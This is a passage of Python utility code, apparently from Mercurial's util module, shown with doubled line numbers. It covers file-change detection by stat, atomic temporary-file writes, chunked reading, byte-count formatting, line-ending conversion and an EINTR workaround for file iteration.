2336 except OSError:
2336 pass
2337 pass
2337 raise
2338 raise
2338 return temp
2339 return temp
2339
2340
2340
2341
2341 class filestat(object):
2342 class filestat(object):
2342 """help to exactly detect change of a file
2343 """help to exactly detect change of a file
2343
2344
2344 'stat' attribute is result of 'os.stat()' if specified 'path'
2345 'stat' attribute is result of 'os.stat()' if specified 'path'
2345 exists. Otherwise, it is None. This can avoid preparative
2346 exists. Otherwise, it is None. This can avoid preparative
2346 'exists()' examination on client side of this class.
2347 'exists()' examination on client side of this class.
2347 """
2348 """
2348
2349
2349 def __init__(self, stat):
2350 def __init__(self, stat):
2350 self.stat = stat
2351 self.stat = stat
2351
2352
2352 @classmethod
2353 @classmethod
2353 def frompath(cls, path):
2354 def frompath(cls, path):
2354 try:
2355 try:
2355 stat = os.stat(path)
2356 stat = os.stat(path)
2356 except OSError as err:
2357 except OSError as err:
2357 if err.errno != errno.ENOENT:
2358 if err.errno != errno.ENOENT:
2358 raise
2359 raise
2359 stat = None
2360 stat = None
2360 return cls(stat)
2361 return cls(stat)
2361
2362
2362 @classmethod
2363 @classmethod
2363 def fromfp(cls, fp):
2364 def fromfp(cls, fp):
2364 stat = os.fstat(fp.fileno())
2365 stat = os.fstat(fp.fileno())
2365 return cls(stat)
2366 return cls(stat)
2366
2367
2367 __hash__ = object.__hash__
2368 __hash__ = object.__hash__
2368
2369
2369 def __eq__(self, old):
2370 def __eq__(self, old):
2370 try:
2371 try:
2371 # if ambiguity between stat of new and old file is
2372 # if ambiguity between stat of new and old file is
2372 # avoided, comparison of size, ctime and mtime is enough
2373 # avoided, comparison of size, ctime and mtime is enough
2373 # to exactly detect change of a file regardless of platform
2374 # to exactly detect change of a file regardless of platform
2374 return (
2375 return (
2375 self.stat.st_size == old.stat.st_size
2376 self.stat.st_size == old.stat.st_size
2376 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2377 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2377 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2378 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2378 )
2379 )
2379 except AttributeError:
2380 except AttributeError:
2380 pass
2381 pass
2381 try:
2382 try:
2382 return self.stat is None and old.stat is None
2383 return self.stat is None and old.stat is None
2383 except AttributeError:
2384 except AttributeError:
2384 return False
2385 return False
2385
2386
2386 def isambig(self, old):
2387 def isambig(self, old):
2387 """Examine whether new (= self) stat is ambiguous against old one
2388 """Examine whether new (= self) stat is ambiguous against old one
2388
2389
2389 "S[N]" below means stat of a file at N-th change:
2390 "S[N]" below means stat of a file at N-th change:
2390
2391
2391 - S[n-1].ctime < S[n].ctime: can detect change of a file
2392 - S[n-1].ctime < S[n].ctime: can detect change of a file
2392 - S[n-1].ctime == S[n].ctime
2393 - S[n-1].ctime == S[n].ctime
2393 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2394 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2394 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2395 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2395 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2396 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2396 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2397 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2397
2398
2398 Case (*2) above means that a file was changed twice or more at
2399 Case (*2) above means that a file was changed twice or more at
2399 same time in sec (= S[n-1].ctime), and comparison of timestamp
2400 same time in sec (= S[n-1].ctime), and comparison of timestamp
2400 is ambiguous.
2401 is ambiguous.
2401
2402
2402 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2403 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2403 timestamp is ambiguous".
2404 timestamp is ambiguous".
2404
2405
2405 But advancing mtime only in case (*2) doesn't work as
2406 But advancing mtime only in case (*2) doesn't work as
2406 expected, because naturally advanced S[n].mtime in case (*1)
2407 expected, because naturally advanced S[n].mtime in case (*1)
2407 might be equal to manually advanced S[n-1 or earlier].mtime.
2408 might be equal to manually advanced S[n-1 or earlier].mtime.
2408
2409
2409 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2410 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2410 treated as ambiguous regardless of mtime, to avoid overlooking
2411 treated as ambiguous regardless of mtime, to avoid overlooking
2411 by confliction between such mtime.
2412 by confliction between such mtime.
2412
2413
2413 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2414 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2414 S[n].mtime", even if size of a file isn't changed.
2415 S[n].mtime", even if size of a file isn't changed.
2415 """
2416 """
2416 try:
2417 try:
2417 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2418 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2418 except AttributeError:
2419 except AttributeError:
2419 return False
2420 return False
2420
2421
2421 def avoidambig(self, path, old):
2422 def avoidambig(self, path, old):
2422 """Change file stat of specified path to avoid ambiguity
2423 """Change file stat of specified path to avoid ambiguity
2423
2424
2424 'old' should be previous filestat of 'path'.
2425 'old' should be previous filestat of 'path'.
2425
2426
2426 This skips avoiding ambiguity, if a process doesn't have
2427 This skips avoiding ambiguity, if a process doesn't have
2427 appropriate privileges for 'path'. This returns False in this
2428 appropriate privileges for 'path'. This returns False in this
2428 case.
2429 case.
2429
2430
2430 Otherwise, this returns True, as "ambiguity is avoided".
2431 Otherwise, this returns True, as "ambiguity is avoided".
2431 """
2432 """
2432 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2433 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2433 try:
2434 try:
2434 os.utime(path, (advanced, advanced))
2435 os.utime(path, (advanced, advanced))
2435 except OSError as inst:
2436 except OSError as inst:
2436 if inst.errno == errno.EPERM:
2437 if inst.errno == errno.EPERM:
2437 # utime() on the file created by another user causes EPERM,
2438 # utime() on the file created by another user causes EPERM,
2438 # if a process doesn't have appropriate privileges
2439 # if a process doesn't have appropriate privileges
2439 return False
2440 return False
2440 raise
2441 raise
2441 return True
2442 return True
2442
2443
2443 def __ne__(self, other):
2444 def __ne__(self, other):
2444 return not self == other
2445 return not self == other
2445
2446
2446
2447
2447 class atomictempfile(object):
2448 class atomictempfile(object):
2448 '''writable file object that atomically updates a file
2449 '''writable file object that atomically updates a file
2449
2450
2450 All writes will go to a temporary copy of the original file. Call
2451 All writes will go to a temporary copy of the original file. Call
2451 close() when you are done writing, and atomictempfile will rename
2452 close() when you are done writing, and atomictempfile will rename
2452 the temporary copy to the original name, making the changes
2453 the temporary copy to the original name, making the changes
2453 visible. If the object is destroyed without being closed, all your
2454 visible. If the object is destroyed without being closed, all your
2454 writes are discarded.
2455 writes are discarded.
2455
2456
2456 checkambig argument of constructor is used with filestat, and is
2457 checkambig argument of constructor is used with filestat, and is
2457 useful only if target file is guarded by any lock (e.g. repo.lock
2458 useful only if target file is guarded by any lock (e.g. repo.lock
2458 or repo.wlock).
2459 or repo.wlock).
2459 '''
2460 '''
2460
2461
2461 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2462 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2462 self.__name = name # permanent name
2463 self.__name = name # permanent name
2463 self._tempname = mktempcopy(
2464 self._tempname = mktempcopy(
2464 name,
2465 name,
2465 emptyok=(b'w' in mode),
2466 emptyok=(b'w' in mode),
2466 createmode=createmode,
2467 createmode=createmode,
2467 enforcewritable=(b'w' in mode),
2468 enforcewritable=(b'w' in mode),
2468 )
2469 )
2469
2470
2470 self._fp = posixfile(self._tempname, mode)
2471 self._fp = posixfile(self._tempname, mode)
2471 self._checkambig = checkambig
2472 self._checkambig = checkambig
2472
2473
2473 # delegated methods
2474 # delegated methods
2474 self.read = self._fp.read
2475 self.read = self._fp.read
2475 self.write = self._fp.write
2476 self.write = self._fp.write
2476 self.seek = self._fp.seek
2477 self.seek = self._fp.seek
2477 self.tell = self._fp.tell
2478 self.tell = self._fp.tell
2478 self.fileno = self._fp.fileno
2479 self.fileno = self._fp.fileno
2479
2480
2480 def close(self):
2481 def close(self):
2481 if not self._fp.closed:
2482 if not self._fp.closed:
2482 self._fp.close()
2483 self._fp.close()
2483 filename = localpath(self.__name)
2484 filename = localpath(self.__name)
2484 oldstat = self._checkambig and filestat.frompath(filename)
2485 oldstat = self._checkambig and filestat.frompath(filename)
2485 if oldstat and oldstat.stat:
2486 if oldstat and oldstat.stat:
2486 rename(self._tempname, filename)
2487 rename(self._tempname, filename)
2487 newstat = filestat.frompath(filename)
2488 newstat = filestat.frompath(filename)
2488 if newstat.isambig(oldstat):
2489 if newstat.isambig(oldstat):
2489 # stat of changed file is ambiguous to original one
2490 # stat of changed file is ambiguous to original one
2490 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2491 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2491 os.utime(filename, (advanced, advanced))
2492 os.utime(filename, (advanced, advanced))
2492 else:
2493 else:
2493 rename(self._tempname, filename)
2494 rename(self._tempname, filename)
2494
2495
2495 def discard(self):
2496 def discard(self):
2496 if not self._fp.closed:
2497 if not self._fp.closed:
2497 try:
2498 try:
2498 os.unlink(self._tempname)
2499 os.unlink(self._tempname)
2499 except OSError:
2500 except OSError:
2500 pass
2501 pass
2501 self._fp.close()
2502 self._fp.close()
2502
2503
2503 def __del__(self):
2504 def __del__(self):
2504 if safehasattr(self, '_fp'): # constructor actually did something
2505 if safehasattr(self, '_fp'): # constructor actually did something
2505 self.discard()
2506 self.discard()
2506
2507
2507 def __enter__(self):
2508 def __enter__(self):
2508 return self
2509 return self
2509
2510
2510 def __exit__(self, exctype, excvalue, traceback):
2511 def __exit__(self, exctype, excvalue, traceback):
2511 if exctype is not None:
2512 if exctype is not None:
2512 self.discard()
2513 self.discard()
2513 else:
2514 else:
2514 self.close()
2515 self.close()
2515
2516
2516
2517
2517 def unlinkpath(f, ignoremissing=False, rmdir=True):
2518 def unlinkpath(f, ignoremissing=False, rmdir=True):
2518 """unlink and remove the directory if it is empty"""
2519 """unlink and remove the directory if it is empty"""
2519 if ignoremissing:
2520 if ignoremissing:
2520 tryunlink(f)
2521 tryunlink(f)
2521 else:
2522 else:
2522 unlink(f)
2523 unlink(f)
2523 if rmdir:
2524 if rmdir:
2524 # try removing directories that might now be empty
2525 # try removing directories that might now be empty
2525 try:
2526 try:
2526 removedirs(os.path.dirname(f))
2527 removedirs(os.path.dirname(f))
2527 except OSError:
2528 except OSError:
2528 pass
2529 pass
2529
2530
2530
2531
2531 def tryunlink(f):
2532 def tryunlink(f):
2532 """Attempt to remove a file, ignoring ENOENT errors."""
2533 """Attempt to remove a file, ignoring ENOENT errors."""
2533 try:
2534 try:
2534 unlink(f)
2535 unlink(f)
2535 except OSError as e:
2536 except OSError as e:
2536 if e.errno != errno.ENOENT:
2537 if e.errno != errno.ENOENT:
2537 raise
2538 raise
2538
2539
2539
2540
2540 def makedirs(name, mode=None, notindexed=False):
2541 def makedirs(name, mode=None, notindexed=False):
2541 """recursive directory creation with parent mode inheritance
2542 """recursive directory creation with parent mode inheritance
2542
2543
2543 Newly created directories are marked as "not to be indexed by
2544 Newly created directories are marked as "not to be indexed by
2544 the content indexing service", if ``notindexed`` is specified
2545 the content indexing service", if ``notindexed`` is specified
2545 for "write" mode access.
2546 for "write" mode access.
2546 """
2547 """
2547 try:
2548 try:
2548 makedir(name, notindexed)
2549 makedir(name, notindexed)
2549 except OSError as err:
2550 except OSError as err:
2550 if err.errno == errno.EEXIST:
2551 if err.errno == errno.EEXIST:
2551 return
2552 return
2552 if err.errno != errno.ENOENT or not name:
2553 if err.errno != errno.ENOENT or not name:
2553 raise
2554 raise
2554 parent = os.path.dirname(os.path.abspath(name))
2555 parent = os.path.dirname(os.path.abspath(name))
2555 if parent == name:
2556 if parent == name:
2556 raise
2557 raise
2557 makedirs(parent, mode, notindexed)
2558 makedirs(parent, mode, notindexed)
2558 try:
2559 try:
2559 makedir(name, notindexed)
2560 makedir(name, notindexed)
2560 except OSError as err:
2561 except OSError as err:
2561 # Catch EEXIST to handle races
2562 # Catch EEXIST to handle races
2562 if err.errno == errno.EEXIST:
2563 if err.errno == errno.EEXIST:
2563 return
2564 return
2564 raise
2565 raise
2565 if mode is not None:
2566 if mode is not None:
2566 os.chmod(name, mode)
2567 os.chmod(name, mode)
2567
2568
2568
2569
2569 def readfile(path):
2570 def readfile(path):
2570 with open(path, b'rb') as fp:
2571 with open(path, b'rb') as fp:
2571 return fp.read()
2572 return fp.read()
2572
2573
2573
2574
2574 def writefile(path, text):
2575 def writefile(path, text):
2575 with open(path, b'wb') as fp:
2576 with open(path, b'wb') as fp:
2576 fp.write(text)
2577 fp.write(text)
2577
2578
2578
2579
2579 def appendfile(path, text):
2580 def appendfile(path, text):
2580 with open(path, b'ab') as fp:
2581 with open(path, b'ab') as fp:
2581 fp.write(text)
2582 fp.write(text)
2582
2583
2583
2584
2584 class chunkbuffer(object):
2585 class chunkbuffer(object):
2585 """Allow arbitrary sized chunks of data to be efficiently read from an
2586 """Allow arbitrary sized chunks of data to be efficiently read from an
2586 iterator over chunks of arbitrary size."""
2587 iterator over chunks of arbitrary size."""
2587
2588
2588 def __init__(self, in_iter):
2589 def __init__(self, in_iter):
2589 """in_iter is the iterator that's iterating over the input chunks."""
2590 """in_iter is the iterator that's iterating over the input chunks."""
2590
2591
2591 def splitbig(chunks):
2592 def splitbig(chunks):
2592 for chunk in chunks:
2593 for chunk in chunks:
2593 if len(chunk) > 2 ** 20:
2594 if len(chunk) > 2 ** 20:
2594 pos = 0
2595 pos = 0
2595 while pos < len(chunk):
2596 while pos < len(chunk):
2596 end = pos + 2 ** 18
2597 end = pos + 2 ** 18
2597 yield chunk[pos:end]
2598 yield chunk[pos:end]
2598 pos = end
2599 pos = end
2599 else:
2600 else:
2600 yield chunk
2601 yield chunk
2601
2602
2602 self.iter = splitbig(in_iter)
2603 self.iter = splitbig(in_iter)
2603 self._queue = collections.deque()
2604 self._queue = collections.deque()
2604 self._chunkoffset = 0
2605 self._chunkoffset = 0
2605
2606
2606 def read(self, l=None):
2607 def read(self, l=None):
2607 """Read L bytes of data from the iterator of chunks of data.
2608 """Read L bytes of data from the iterator of chunks of data.
2608 Returns less than L bytes if the iterator runs dry.
2609 Returns less than L bytes if the iterator runs dry.
2609
2610
2610 If size parameter is omitted, read everything"""
2611 If size parameter is omitted, read everything"""
2611 if l is None:
2612 if l is None:
2612 return b''.join(self.iter)
2613 return b''.join(self.iter)
2613
2614
2614 left = l
2615 left = l
2615 buf = []
2616 buf = []
2616 queue = self._queue
2617 queue = self._queue
2617 while left > 0:
2618 while left > 0:
2618 # refill the queue
2619 # refill the queue
2619 if not queue:
2620 if not queue:
2620 target = 2 ** 18
2621 target = 2 ** 18
2621 for chunk in self.iter:
2622 for chunk in self.iter:
2622 queue.append(chunk)
2623 queue.append(chunk)
2623 target -= len(chunk)
2624 target -= len(chunk)
2624 if target <= 0:
2625 if target <= 0:
2625 break
2626 break
2626 if not queue:
2627 if not queue:
2627 break
2628 break
2628
2629
2629 # The easy way to do this would be to queue.popleft(), modify the
2630 # The easy way to do this would be to queue.popleft(), modify the
2630 # chunk (if necessary), then queue.appendleft(). However, for cases
2631 # chunk (if necessary), then queue.appendleft(). However, for cases
2631 # where we read partial chunk content, this incurs 2 dequeue
2632 # where we read partial chunk content, this incurs 2 dequeue
2632 # mutations and creates a new str for the remaining chunk in the
2633 # mutations and creates a new str for the remaining chunk in the
2633 # queue. Our code below avoids this overhead.
2634 # queue. Our code below avoids this overhead.
2634
2635
2635 chunk = queue[0]
2636 chunk = queue[0]
2636 chunkl = len(chunk)
2637 chunkl = len(chunk)
2637 offset = self._chunkoffset
2638 offset = self._chunkoffset
2638
2639
2639 # Use full chunk.
2640 # Use full chunk.
2640 if offset == 0 and left >= chunkl:
2641 if offset == 0 and left >= chunkl:
2641 left -= chunkl
2642 left -= chunkl
2642 queue.popleft()
2643 queue.popleft()
2643 buf.append(chunk)
2644 buf.append(chunk)
2644 # self._chunkoffset remains at 0.
2645 # self._chunkoffset remains at 0.
2645 continue
2646 continue
2646
2647
2647 chunkremaining = chunkl - offset
2648 chunkremaining = chunkl - offset
2648
2649
2649 # Use all of unconsumed part of chunk.
2650 # Use all of unconsumed part of chunk.
2650 if left >= chunkremaining:
2651 if left >= chunkremaining:
2651 left -= chunkremaining
2652 left -= chunkremaining
2652 queue.popleft()
2653 queue.popleft()
2653 # offset == 0 is enabled by block above, so this won't merely
2654 # offset == 0 is enabled by block above, so this won't merely
2654 # copy via ``chunk[0:]``.
2655 # copy via ``chunk[0:]``.
2655 buf.append(chunk[offset:])
2656 buf.append(chunk[offset:])
2656 self._chunkoffset = 0
2657 self._chunkoffset = 0
2657
2658
2658 # Partial chunk needed.
2659 # Partial chunk needed.
2659 else:
2660 else:
2660 buf.append(chunk[offset : offset + left])
2661 buf.append(chunk[offset : offset + left])
2661 self._chunkoffset += left
2662 self._chunkoffset += left
2662 left -= chunkremaining
2663 left -= chunkremaining
2663
2664
2664 return b''.join(buf)
2665 return b''.join(buf)
2665
2666
2666
2667
2667 def filechunkiter(f, size=131072, limit=None):
2668 def filechunkiter(f, size=131072, limit=None):
2668 """Create a generator that produces the data in the file size
2669 """Create a generator that produces the data in the file size
2669 (default 131072) bytes at a time, up to optional limit (default is
2670 (default 131072) bytes at a time, up to optional limit (default is
2670 to read all data). Chunks may be less than size bytes if the
2671 to read all data). Chunks may be less than size bytes if the
2671 chunk is the last chunk in the file, or the file is a socket or
2672 chunk is the last chunk in the file, or the file is a socket or
2672 some other type of file that sometimes reads less data than is
2673 some other type of file that sometimes reads less data than is
2673 requested."""
2674 requested."""
2674 assert size >= 0
2675 assert size >= 0
2675 assert limit is None or limit >= 0
2676 assert limit is None or limit >= 0
2676 while True:
2677 while True:
2677 if limit is None:
2678 if limit is None:
2678 nbytes = size
2679 nbytes = size
2679 else:
2680 else:
2680 nbytes = min(limit, size)
2681 nbytes = min(limit, size)
2681 s = nbytes and f.read(nbytes)
2682 s = nbytes and f.read(nbytes)
2682 if not s:
2683 if not s:
2683 break
2684 break
2684 if limit:
2685 if limit:
2685 limit -= len(s)
2686 limit -= len(s)
2686 yield s
2687 yield s
2687
2688
2688
2689
2689 class cappedreader(object):
2690 class cappedreader(object):
2690 """A file object proxy that allows reading up to N bytes.
2691 """A file object proxy that allows reading up to N bytes.
2691
2692
2692 Given a source file object, instances of this type allow reading up to
2693 Given a source file object, instances of this type allow reading up to
2693 N bytes from that source file object. Attempts to read past the allowed
2694 N bytes from that source file object. Attempts to read past the allowed
2694 limit are treated as EOF.
2695 limit are treated as EOF.
2695
2696
2696 It is assumed that I/O is not performed on the original file object
2697 It is assumed that I/O is not performed on the original file object
2697 in addition to I/O that is performed by this instance. If there is,
2698 in addition to I/O that is performed by this instance. If there is,
2698 state tracking will get out of sync and unexpected results will ensue.
2699 state tracking will get out of sync and unexpected results will ensue.
2699 """
2700 """
2700
2701
2701 def __init__(self, fh, limit):
2702 def __init__(self, fh, limit):
2702 """Allow reading up to <limit> bytes from <fh>."""
2703 """Allow reading up to <limit> bytes from <fh>."""
2703 self._fh = fh
2704 self._fh = fh
2704 self._left = limit
2705 self._left = limit
2705
2706
2706 def read(self, n=-1):
2707 def read(self, n=-1):
2707 if not self._left:
2708 if not self._left:
2708 return b''
2709 return b''
2709
2710
2710 if n < 0:
2711 if n < 0:
2711 n = self._left
2712 n = self._left
2712
2713
2713 data = self._fh.read(min(n, self._left))
2714 data = self._fh.read(min(n, self._left))
2714 self._left -= len(data)
2715 self._left -= len(data)
2715 assert self._left >= 0
2716 assert self._left >= 0
2716
2717
2717 return data
2718 return data
2718
2719
2719 def readinto(self, b):
2720 def readinto(self, b):
2720 res = self.read(len(b))
2721 res = self.read(len(b))
2721 if res is None:
2722 if res is None:
2722 return None
2723 return None
2723
2724
2724 b[0 : len(res)] = res
2725 b[0 : len(res)] = res
2725 return len(res)
2726 return len(res)
2726
2727
2727
2728
2728 def unitcountfn(*unittable):
2729 def unitcountfn(*unittable):
2729 '''return a function that renders a readable count of some quantity'''
2730 '''return a function that renders a readable count of some quantity'''
2730
2731
2731 def go(count):
2732 def go(count):
2732 for multiplier, divisor, format in unittable:
2733 for multiplier, divisor, format in unittable:
2733 if abs(count) >= divisor * multiplier:
2734 if abs(count) >= divisor * multiplier:
2734 return format % (count / float(divisor))
2735 return format % (count / float(divisor))
2735 return unittable[-1][2] % count
2736 return unittable[-1][2] % count
2736
2737
2737 return go
2738 return go
2738
2739
2739
2740
2740 def processlinerange(fromline, toline):
2741 def processlinerange(fromline, toline):
2741 """Check that linerange <fromline>:<toline> makes sense and return a
2742 """Check that linerange <fromline>:<toline> makes sense and return a
2742 0-based range.
2743 0-based range.
2743
2744
2744 >>> processlinerange(10, 20)
2745 >>> processlinerange(10, 20)
2745 (9, 20)
2746 (9, 20)
2746 >>> processlinerange(2, 1)
2747 >>> processlinerange(2, 1)
2747 Traceback (most recent call last):
2748 Traceback (most recent call last):
2748 ...
2749 ...
2749 ParseError: line range must be positive
2750 ParseError: line range must be positive
2750 >>> processlinerange(0, 5)
2751 >>> processlinerange(0, 5)
2751 Traceback (most recent call last):
2752 Traceback (most recent call last):
2752 ...
2753 ...
2753 ParseError: fromline must be strictly positive
2754 ParseError: fromline must be strictly positive
2754 """
2755 """
2755 if toline - fromline < 0:
2756 if toline - fromline < 0:
2756 raise error.ParseError(_(b"line range must be positive"))
2757 raise error.ParseError(_(b"line range must be positive"))
2757 if fromline < 1:
2758 if fromline < 1:
2758 raise error.ParseError(_(b"fromline must be strictly positive"))
2759 raise error.ParseError(_(b"fromline must be strictly positive"))
2759 return fromline - 1, toline
2760 return fromline - 1, toline
2760
2761
2761
2762
2762 bytecount = unitcountfn(
2763 bytecount = unitcountfn(
2763 (100, 1 << 30, _(b'%.0f GB')),
2764 (100, 1 << 30, _(b'%.0f GB')),
2764 (10, 1 << 30, _(b'%.1f GB')),
2765 (10, 1 << 30, _(b'%.1f GB')),
2765 (1, 1 << 30, _(b'%.2f GB')),
2766 (1, 1 << 30, _(b'%.2f GB')),
2766 (100, 1 << 20, _(b'%.0f MB')),
2767 (100, 1 << 20, _(b'%.0f MB')),
2767 (10, 1 << 20, _(b'%.1f MB')),
2768 (10, 1 << 20, _(b'%.1f MB')),
2768 (1, 1 << 20, _(b'%.2f MB')),
2769 (1, 1 << 20, _(b'%.2f MB')),
2769 (100, 1 << 10, _(b'%.0f KB')),
2770 (100, 1 << 10, _(b'%.0f KB')),
2770 (10, 1 << 10, _(b'%.1f KB')),
2771 (10, 1 << 10, _(b'%.1f KB')),
2771 (1, 1 << 10, _(b'%.2f KB')),
2772 (1, 1 << 10, _(b'%.2f KB')),
2772 (1, 1, _(b'%.0f bytes')),
2773 (1, 1, _(b'%.0f bytes')),
2773 )
2774 )
2774
2775
2775
2776
2776 class transformingwriter(object):
2777 class transformingwriter(object):
2777 """Writable file wrapper to transform data by function"""
2778 """Writable file wrapper to transform data by function"""
2778
2779
2779 def __init__(self, fp, encode):
2780 def __init__(self, fp, encode):
2780 self._fp = fp
2781 self._fp = fp
2781 self._encode = encode
2782 self._encode = encode
2782
2783
2783 def close(self):
2784 def close(self):
2784 self._fp.close()
2785 self._fp.close()
2785
2786
2786 def flush(self):
2787 def flush(self):
2787 self._fp.flush()
2788 self._fp.flush()
2788
2789
2789 def write(self, data):
2790 def write(self, data):
2790 return self._fp.write(self._encode(data))
2791 return self._fp.write(self._encode(data))
2791
2792
2792
2793
2793 # Matches a single EOL which can either be a CRLF where repeated CR
2794 # Matches a single EOL which can either be a CRLF where repeated CR
2794 # are removed or a LF. We do not care about old Macintosh files, so a
2795 # are removed or a LF. We do not care about old Macintosh files, so a
2795 # stray CR is an error.
2796 # stray CR is an error.
2796 _eolre = remod.compile(br'\r*\n')
2797 _eolre = remod.compile(br'\r*\n')
2797
2798
2798
2799
2799 def tolf(s):
2800 def tolf(s):
2800 return _eolre.sub(b'\n', s)
2801 return _eolre.sub(b'\n', s)
2801
2802
2802
2803
2803 def tocrlf(s):
2804 def tocrlf(s):
2804 return _eolre.sub(b'\r\n', s)
2805 return _eolre.sub(b'\r\n', s)
2805
2806
2806
2807
2807 def _crlfwriter(fp):
2808 def _crlfwriter(fp):
2808 return transformingwriter(fp, tocrlf)
2809 return transformingwriter(fp, tocrlf)
2809
2810
2810
2811
2811 if pycompat.oslinesep == b'\r\n':
2812 if pycompat.oslinesep == b'\r\n':
2812 tonativeeol = tocrlf
2813 tonativeeol = tocrlf
2813 fromnativeeol = tolf
2814 fromnativeeol = tolf
2814 nativeeolwriter = _crlfwriter
2815 nativeeolwriter = _crlfwriter
2815 else:
2816 else:
2816 tonativeeol = pycompat.identity
2817 tonativeeol = pycompat.identity
2817 fromnativeeol = pycompat.identity
2818 fromnativeeol = pycompat.identity
2818 nativeeolwriter = pycompat.identity
2819 nativeeolwriter = pycompat.identity
2819
2820
2820 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2821 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2821 3,
2822 3,
2822 0,
2823 0,
2823 ):
2824 ):
2824 # There is an issue in CPython that some IO methods do not handle EINTR
2825 # There is an issue in CPython that some IO methods do not handle EINTR
2825 # correctly. The following table shows what CPython version (and functions)
2826 # correctly. The following table shows what CPython version (and functions)
2826 # are affected (buggy: has the EINTR bug, okay: otherwise):
2827 # are affected (buggy: has the EINTR bug, okay: otherwise):
2827 #
2828 #
2828 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2829 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2829 # --------------------------------------------------
2830 # --------------------------------------------------
2830 # fp.__iter__ | buggy | buggy | okay
2831 # fp.__iter__ | buggy | buggy | okay
2831 # fp.read* | buggy | okay [1] | okay
2832 # fp.read* | buggy | okay [1] | okay
2832 #
2833 #
2833 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2834 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2834 #
2835 #
2835 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2836 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2836 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2837 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2837 #
2838 #
2838 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2839 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2839 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2840 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2840 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2841 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2841 # fp.__iter__ but not other fp.read* methods.
2842 # fp.__iter__ but not other fp.read* methods.
2842 #
2843 #
2843 # On modern systems like Linux, the "read" syscall cannot be interrupted
2844 # On modern systems like Linux, the "read" syscall cannot be interrupted
2844 # when reading "fast" files like on-disk files. So the EINTR issue only
2845 # when reading "fast" files like on-disk files. So the EINTR issue only
2845 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2846 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2846 # files approximately as "fast" files and use the fast (unsafe) code path,
2847 # files approximately as "fast" files and use the fast (unsafe) code path,
2847 # to minimize the performance impact.
2848 # to minimize the performance impact.
2848 if sys.version_info >= (2, 7, 4):
2849 if sys.version_info >= (2, 7, 4):
2849 # fp.readline deals with EINTR correctly, use it as a workaround.
2850 # fp.readline deals with EINTR correctly, use it as a workaround.
2850 def _safeiterfile(fp):
2851 def _safeiterfile(fp):
2851 return iter(fp.readline, b'')
2852 return iter(fp.readline, b'')
2852
2853
2853 else:
2854 else:
2854 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2855 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2855 # note: this may block longer than necessary because of bufsize.
2856 # note: this may block longer than necessary because of bufsize.
2856 def _safeiterfile(fp, bufsize=4096):
2857 def _safeiterfile(fp, bufsize=4096):
2857 fd = fp.fileno()
2858 fd = fp.fileno()
2858 line = b''
2859 line = b''
2859 while True:
2860 while True:
2860 try:
2861 try:
2861 buf = os.read(fd, bufsize)
2862 buf = os.read(fd, bufsize)
2862 except OSError as ex:
2863 except OSError as ex:
2863 # os.read only raises EINTR before any data is read
2864 # os.read only raises EINTR before any data is read
2864 if ex.errno == errno.EINTR:
2865 if ex.errno == errno.EINTR:
2865 continue
2866 continue
2866 else:
2867 else:
2867 raise
2868 raise
2868 line += buf
2869 line += buf
2869 if b'\n' in buf:
2870 if b'\n' in buf:
2870 splitted = line.splitlines(True)
2871 splitted = line.splitlines(True)
2871 line = b''
2872 line = b''
2872 for l in splitted:
2873 for l in splitted:
2873 if l[-1] == b'\n':
2874 if l[-1] == b'\n':
2874 yield l
2875 yield l
2875 else:
2876 else:
2876 line = l
2877 line = l
2877 if not buf:
2878 if not buf:
2878 break
2879 break
2879 if line:
2880 if line:
2880 yield line
2881 yield line
2881
2882
2882 def iterfile(fp):
2883 def iterfile(fp):
2883 fastpath = True
2884 fastpath = True
2884 if type(fp) is file:
2885 if type(fp) is file:
2885 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2886 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2886 if fastpath:
2887 if fastpath:
2887 return fp
2888 return fp
